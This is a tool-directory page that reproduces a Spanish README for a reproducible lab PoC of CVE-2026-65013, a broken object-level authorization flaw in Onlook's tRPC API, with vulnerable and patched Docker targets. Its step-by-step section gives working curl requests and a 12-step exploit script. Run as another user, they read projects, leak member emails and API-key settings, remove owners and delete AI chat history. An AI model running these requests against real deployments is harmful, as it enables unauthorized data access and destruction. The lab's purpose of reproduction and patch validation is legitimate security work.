Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-65013-BOLA-IDOR — Reproducible BOLA/IDOR PoC against Onlook's tRPC API (CVE-2026-65013), with a 12-step exploit chain, vulnerable and patched Docker targets, and technical documentation. | Kitploit
Tools/GitHubGitHub/isaca0315/cve-2026-65013-bola-idor
Authentication & AuthorizationVulnerability AnalysisExploitationWeb Application ExploitationAPI Security TestingWeb SecurityPenetration TestingLearning & EducationRed Teaming

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
Labs & Practice
GitHubisaca0315/cve-2026-65013-bola-idor

CVE-2026-65013-BOLA-IDOR

Reproducible BOLA/IDOR PoC against Onlook's tRPC API (CVE-2026-65013), with a 12-step exploit chain, vulnerable and patched Docker targets, and technical documentation.

View Repository
1 day agoNot yet reviewed

CVE-2026-65013-BOLA-IDOR

PoC reproducible de BOLA / IDOR en la API tRPC de Onlook (CVE-2026-65013).

Cualquier usuario autenticado puede leer, modificar y borrar proyectos, miembros e historial de IA de otros usuarios con solo pasar sus UUID a los procedimientos tRPC (versiones <= 0.2.32).

CVECVE-2026-65013
AdvisoryGHSA-j6x3-f5cf-2pg4
CWECWE-639 (Authorization Bypass Through User-Controlled Key)
CVSS 3.18.8 HIGH — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
VulnerableOnlook <= 0.2.32
Parchecommit 423e2e9 (PR onlook-dev/onlook#3129)

📚 Documentación

DocumentoContenido

Resumen

Onlook expone su backend por tRPC, y los procedimientos reciben el id del recurso directamente del cliente:

root@kitploit:~
project.get({ projectId })                // lee cualquier proyecto
member.remove({ projectId, userId })      // expulsa a cualquiera
chat.conversation.delete({ conversationId }) // borra historial de IA
settings.get({ projectId })               // settings con API keys

El problema: la mayoría no verificaba que el llamante fuera miembro del proyecto. La conexión a Postgres (Drizzle) era un superusuario exento de Row Level Security, así que el control tenía que vivir en el código tRPC... y ahí faltaba.

Un helper verifyProjectAccess() ya existía (aplicado a un puñado de procedimientos, p. ej. project.update/delete), pero el resto del surface confiaba en el id del cliente: project.get, member.list, member.remove, invitation.list, chat.conversation.*, chat.message.*, branch.*, settings.*, frame.*…

La autenticación NO es el problema (JWT de Supabase funciona). Es autorización por objeto (BOLA/IDOR): el atacante usa su propia sesión legítima contra ids de la víctima.

Detalle técnico del fallo

  • lib/authorization.js contiene los helpers que faltaban (verifyProjectAccess, verifyConversationAccess, verifyMessagesAccess, verifyBranchAccess, verifyCanvasAccess, verifyMemberRemoval, verifyInvitationAccess) — el equivalente del commit 423e2e9.
  • lib/router.js los invoca solo si enforceAuth está activado; en el modo vulnerable los procedimientos se ejecutan sin el chequeo (el bug real).
  • En modo parcheado cada verificación lanza el mismo error genérico Unauthorized or not found (UNAUTHORIZED), para que no se pueda enumerar la existencia de recursos:
    root@kitploit:~

⚔️ Paso a paso de Red Team

Paso 0 — Levantar la infraestructura (Docker)

root@kitploit:~
docker compose up -d --build
curl -s http://localhost:3000/health        # {"status":"ok","fixed":false}   → VULNERABLE
curl -s http://localhost:3001/health        # {"status":"ok","fixed":true}    → PARCHEADO

El Docker levanta el target (vulnerable y parcheado) más un servicio demo. La explotación se hace desde tu máquina contra esos targets.

Paso 1 — Reconocimiento

root@kitploit:~
curl -s http://localhost:3000/demo/ids      # ids del seed de la víctima (Alice)

Esto reemplaza el canal real por el que un atacante obtendría los UUIDs (link de preview compartido, referrer de logs, invitaciones…).

Paso 2 — Login como el atacante (Bob, usuario legítimo)

root@kitploit:~
TOKEN=$(curl -s -X POST http://localhost:3000/login \
  -H 'content-type: application/json' \
  -d '{"email":"[email protected]","password":"bob123"}' | node -pe 'JSON.parse(require("fs").readFileSync(0,"utf8")).token')

Paso 3 — Explotación manual con curl (formato exacto del advisory)

root@kitploit:~
# 3a. LEER el proyecto secreto de Alice (GET, formato input={"json":...}):
curl -s "http://localhost:3000/api/trpc/project.get?input=%7B%22json%22%3A%7B%22projectId%22%3A%2211111111-1111-4111-8111-111111111111%22%7D%7D" \
  -H "Authorization: Bearer $TOKEN"

# → {"result":{"data":{"json":{"id":"1111...","name":"Lanzamiento Q3 (PROYECTO SECRETO)",...}}}}

# 3b. LISTAR miembros y emails (aun siendo ajeno al proyecto):
curl -s "http://localhost:3000/api/trpc/member.list?input=%7B%22json%22%3A%7B%22projectId%22%3A%2211111111-1111-4111-8111-111111111111%22%7D%7D" \
  -H "Authorization: Bearer $TOKEN"

# 3c. EXPULSAR a Alice (owner) de SU propio proyecto (POST mutation):
curl -s -X POST http://localhost:3000/api/trpc/member.remove \
  -H "Authorization: Bearer $TOKEN" -H 'content-type: application/json' \
  -d '{"json":{"projectId":"11111111-1111-4111-8111-111111111111","userId":"aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa"}}'

# → {"result":{"data":{"json":true}}}     ← (Alice ya no está en su proyecto)

# 3d. BORRAR el historial de IA de Alice:
curl -s -X POST http://localhost:3000/api/trpc/chat.conversation.delete \
  -H "Authorization: Bearer $TOKEN" -H 'content-type: application/json' \
  -d '{"json":{"conversationId":"44444444-4444-4444-8444-444444444444"}}'

Paso 4 — Exploit automatizado (node exploit.js)

Ejecuta los 12 procedimientos de la cadena (leer proyecto, listar proyectos de Alice, filtrar emails, expulsar al owner, listar invitaciones, leer/borrar historial de IA, branches, settings con apiKey, frames):

root@kitploit:~
node exploit.js                                  # contra :3000 (vulnerable)  → filtraciones
node exploit.js --target http://localhost:3001 --expect blocked   # contra :3001 (parcheado)

Salida típica (vulnerable):

root@kitploit:~
💥 project.get              → FILTRADO
💥 member.remove            → FILTRADO   (membership ajeno borrado: true)
💥 chat.conversation.delete → FILTRADO   (historial de IA ajeno borrado: true)
...
✅ 12/12 — CVE-2026-65013 CONFIRMADA: bob leyó/borró recursos de alice.

Contra el parcheado:

root@kitploit:~
🛡️ project.get              → BLOQUEADO   (Unauthorized or not found)
...
✅ 12/12 — Servidor PARCHEADO: el mismo ataque fue bloqueado.

La explotación muta la base en memoria del server vulnerable: para re-ejecutarla reiniciá esa instancia (docker compose restart server).

Paso 5 — Validar / contrastar


Demos de validación

root@kitploit:~
npm run demo        # compara VULNERABLE vs PARCHEADO en proceso (sin red), 12 procedimientos
bash test-local.sh  # harness integral: curl (formato advisory) + exploit vs :3100 y :3101, exit code real

O en Docker:

root@kitploit:~
docker compose up -d demo
docker logs cve-2026-65013-demo

Frontend (modo app real)

root@kitploit:~
open http://localhost:3000        # (o http://localhost:3001 para la versión parcheada)

Cuentas de demo:

  • Dashboard: tus proyectos (project.getPreviewProjects), estado del servidor (vulnerable/parcheado) y superficie tRPC.
  • Red Team: consola que ejecuta la cadena BOLA completa desde el navegador como Bob, con resultados 💥 FILTRADO / 🛡️ BLOQUEADO por procedimiento.

El frontend es presentación: la vulnerabilidad vive en lib/router.js y el flujo manual con curl del README sigue siendo el mismo.

Estructura del proyecto

root@kitploit:~
.
├── Dockerfile               node:22-alpine + deps + app
├── docker-compose.yml       server (vulnerable :3000), server-fixed (:3001), demo — misma imagen, cambia FIXED
├── .dockerignore            excluye node_modules
├── .gitignore
├── package.json             @trpc/[email protected], @trpc/client, superjson, zod
├── server.js                HTTP: /health, /login, /demo/ids, /api/trpc/*, estáticos (FIXED=env)
├── exploit.js               PoC automatizado (cadena BOLA/IDOR de 12 pasos)
├── demo.js                  comparación vulnerable vs parcheado en proceso
├── test-local.sh            batería local: curl (formato advisory) + exploits + exit code
├── lib/
│   ├── db.js                base en memoria + seed (UUIDs estáticos y reproducibles)
│   ├── auth.js              tokens de sesión HS256 (bien hechos a propósito)
│   ├── authorization.js     helpers del FIX (commit 423e2e9) → "Unauthorized or not found"
│   └── router.js            createAppRouter({ enforceAuth }) — el surface tRPC
├── public/                  app "real" (login, dashboard, consola Red Team)
│   ├── index.html
│   ├── styles.css
│   └── app.js               cliente tRPC manual (mismo wire format del advisory)
└── docs/
    ├── CVE-2026-65013.md    documentación técnica de la CVE
    └── ARQUITECTURA.md       este repo explicado (mapa, wire format, extensión)

Para entender qué hace cada línea clave del exploit y cómo extenderlo a más procedimientos: docs/ARQUITECTURA.md §8-§9.

Advertencia

Este material es solo para fines educativos y de investigación de seguridad. Usa el exploit únicamente contra aplicaciones propias o con autorización escrita del propietario. El uso no autorizado de esta técnica contra sistemas de terceros es ilegal y el responsable de su uso es quien lo realiza.

Download Tool
docs/CVE-2026-65013.md
Técnica de la CVE: root cause (RLS exento + helper mal repartido), superficie afectada real, anatomía del ataque, análisis línea por línea del fix 423e2e9, remediación, referencias CVE/advisory/PR.
docs/ARQUITECTURA.mdDel PoC: mapa de archivos, wire format tRPC v10+superjson, modelo de datos, esquema VULN vs FIX, tabla de procedimientos, mapeo PoC ↔ Onlook real, guía de extensión, validación/CI manual.
// chat.conversation.delete — vulnerable (sin chequeo) vs parcheado: enforce(() => verifyConversationAccess(ctx.db, ctx.user.id, input.conversationId))
  • project.update queda protegido en ambos modos como "contraste": demuestra que el helper existía, solo que estaba mal repartido.
  • Procedimiento:3000 vulnerable:3001 parcheado
    project.get (proyecto ajeno)200 + nombre/metadata401 Unauthorized or not found
    member.list (emails ajenos)200 + emails401
    member.remove (expulsar al owner)200 true401
    chat.conversation.delete200 true401
    settings.get (apiKey)200 + settings401
    project.update (contraste: ya estaba protegido)401401
    EmailPasswordRol
    [email protected]alice123dueña del proyecto secreto
    [email protected]bob123el atacante
    [email protected]charlie123editor del proyecto de Alice